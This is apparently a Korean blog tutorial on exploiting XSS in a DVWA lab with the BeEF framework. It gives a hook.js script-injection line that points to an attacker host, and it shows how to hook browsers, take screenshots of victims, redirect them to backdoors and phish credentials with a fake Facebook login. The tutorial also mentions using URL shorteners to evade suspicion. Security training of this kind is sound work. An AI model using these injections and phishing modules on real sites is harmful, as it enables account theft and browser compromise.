XSS (5) Beef사용법

밍기적·2023년 1월 1일
0

웹해킹

목록 보기
26/35
post-thumbnail

이전까지 XSS취약점을 발견했습니다

  • 간단하게 alert 메서드를 이용하여 결과창에 알림을 띄우는 정도

하지만 이를 악용할 수 있는 여러가지 방법들이 존재합니다

그 중 첫번째로 Beef 프레임워크라는 것이 존재합니다

  • 후킹된 브라우저에 많은 자바스크립트 명령을 실행하고 브라우저를 후킹할 수 있음
  • 전제조건으로 자바스크립트가 해당 브라우저에서 실행되야함
    • 또한 Beef는 자바스크립트를 사용하기 때문에 XSS 취약점이 존재하는 웹 어플리케이션에 해당 코드를 삽입하는 것이 매우 쉬움

칼리리눅스에서 Beef 터미널을 실행시킵니다

터미널이 실행되며 초기 비밀번호 설정하라는 문장이 등장하며 초기 비밀번호는 beef와 다른 것을 입력하라고 합니다


입력 후 웹 브라우저 인터페이스와 Hook을 위한 스크립트 구문이 제공됩니다

이제 XSS 취약점이 존재하는 사이트에 들어가 beef에서 제공하는 스크립트 구문을 작성하면 해당 웹사이트와 beef가 연결됩니다

Reflected XSS


DVWA로 접속하여 보안 레벨은 LOW로 설정합니다

Reflected XSS 탭으로 이동하여 진행했습니다


이전과 동일하게 이름을 입력하면 URL 파라미터에 나타나는 것을 확인했습니다

Beef 접속 시 터미널에서 보여준 Hooking 구문을 이용합니다

<script src="http://[IP 주소]:3000/hook.js"></script>

IP 주소로 Beef가 실행중인 시스템의 IP주소를 입력합니다


아무 결과도 나타나지 않습니다

하지만 Beef 인터페이스로 돌아가게 된다면 하나의 시스템이 연결된 것을 확인할 수 있습니다

이제 해당하는 URL 배포시 사용자의 의심을 덜기위해 URL 단축 서비스를 이용할 수도 있습니다

Stored XSS


Beef 이용시 Stored XSS도 이용이 가능합니다

저장된 XSS는 반사형 XSS보다 더 위험하기 때문에 더 쉽게 후킹이 가능합니다

  • 이유로 반사형 XSS와 비교하여 희생자에게 아무것도 보낼 필요가 없기 때문입니다

모든 사람들이 해당 페이지 방문 할 때 마다 코드가 실행되고 URL에 의심스러운 코드가 없기 때문에 치명적입니다

  • 유명한 웹사이트나 자주 방문한 웹사이트의 경우에 두 번 생각하지 않고 URL에 접속하게 됩니다

Stored XSS 실습


마찬가지로 DVWA로 접속합니다

보안 레벨은 LOW로 설정합니다

그리고 Stored XSS 탭으로 이동하여 마찬가지로 주입을 시도합니다

메시지 창에 인젝션을 위한 스크립트를 작성합니다

  • 메시지 창의 길이가 50이므로 이를 브라우저의 인스펙션을 이용하여 증가시킵니다

이후 스크립트 구문 작성후 등록합니다

이제 윈도우 10 가상머신에서 일반 사용자로 가정하고 해당 웹사이트를 접속해봅니다

아무것도 뜨지 않았습니다

하지만 Beef 인터페이스에서 확인하면 새로운 시스템이 하나 생성된 것을 확인할 수 있습니다

윈도우 10 시스템이 Beef와 연결된 것을 확인할 수 있습니다


인터페이스 정리

디테일 패널을 확인하면 현재 후킹된 시스템에 대한 개요가 보여집니다

  • 이를 통해 향후 백도어를 위한 거름이 되기도 합니다


현재 브라우저 탭에 있는 여러가지 요소를 확인했습니다

Details

  • 현재 시스템에 대한 개요를 보여줌

Logs

  • 후킹된 시스템의 로그를 보여줌

Commands

  • 후킹된 브라우저에 대해 여러가지 공격이 가능한 모듈들의 모음

Proxy

  • 프록시 사용이 가능

XssRays

  • 로드된 페이지의 모든 링크와 양식을 구문 분석하고 숨겨진 iframe을 생성하여 GET, POST 매개변수 및 URL 경로를 확인하여 XSS를 찾는 스캐너

Network

  • 현재 네트워크에 대한 개요를 보여줌
  • 여러 장치들도 확인이 가능하기 때문에 액세스 권한을 획득하기 위해 사용이 가능하다

기본적인 Beef 기능 사용

희생자가 Beef 시스템과 연결되면 여러가지 명령어들이 사용이 가능합니다

특정 명령을 사용하기 위해 Current Browser 탭에 Commands로 이동합니다

  • 또한 필터를 사용하여 명령을 찾을 수도 있습니다

사용하는 대부분의 기능들은 사회 공학 기법들입니다

  • 정보 수집을 위한 명령들

익스플로잇에 관련한 기능들도 존재합니다

간단하게 실행하려는 모듈을 클릭하고 실행 버튼을 클릭하면 기능이 실행됩니다

브라우저에 경고창을 띄우는 간단한 Create Alert Dialog 기능입니다

실행버튼을 클릭 후 후킹된 시스템에 돌아가면

브라우저에 경고 메시지 창이 뜨는 것을 확인할 수 있습니다

이와 비슷한 명령중 자바 스크립트 실행을 위한 명령도 있습니다
- Raw JavaScript

return 구문 삭제 후 실행을 시키면 이전과 동일하게 경고 메시지 창이 뜹니다

  • 이 기능을 이용하여 자바스크립트를 알고 있다면 여러가지 명령을 사용할 수 있다

현재 희생자가 사용중인 브라우저의 스크린샷을 찍기 위한 기능이 존재합니다
- spyder Eye

실행 후 History 부분에서 확인을 진행하면 현재 희생자의 브라우저에서 어떤것을 보고 있는지 스크린샷이 결과로 보이게 됩니다

마지막으로 Redirect Browser가 있습니다

원하는 페이지로 리다이렉션 후 희생자들은 업데이트를 진행해야 한다는 메시지로 인해 백도어를 다운 받을 수도 있으며 가짜 로그인 페이지로 리다이렉션 해서 아이디와 비밀번호를 가로채기도 합니다

실행을 누르면 리다이렉션 URL로 브라우저가 이동하게 됩니다

현재 보고있던 페이지는 다른 URL 페이지로 리다이렉션 되었습니다


사회 공학 기법

사용자의 아이디와 비밀번호를 훔칠 수 있는 여러가지 사회 공학 모듈들이 존재합니다

기본적으로 보고있는 화면의 밝기를 어둡게 만들고 사용자에게 로그아웃 되었다는 메시지를 출력하여 인증을 위해 다시 로그인하라는 메시지가 발생합니다

사용자들은 유명한 사이트 또는 자주 방문한 사이트에서 재로그인을 위한 페이지가 발생하면 의심을 하지 않습니다

Beef에 대표적인 모듈로 Pretty Theft 가 존재합니다

다이얼로그 형태를 선택하여 가짜 로그인 페이지를 보여주며 백 라이트 색상도 변경이 가능합니다


페이스북 형태로 설정한 뒤 실행을 클릭합니다


가짜 로그인 페이지가 발생되며 여기에 아이디와 비밀번호를 작성해봤습니다

명령 실행 결과로 입력했던 아이디와 비밀번호가 나타납니다

이를 이용하여 여러 계정을 하이재킹이 가능하고 모듈을 이용한 사회 공학 기법들은 보안을 우회할 수 있기 때문에 위험합니다

0개의 댓글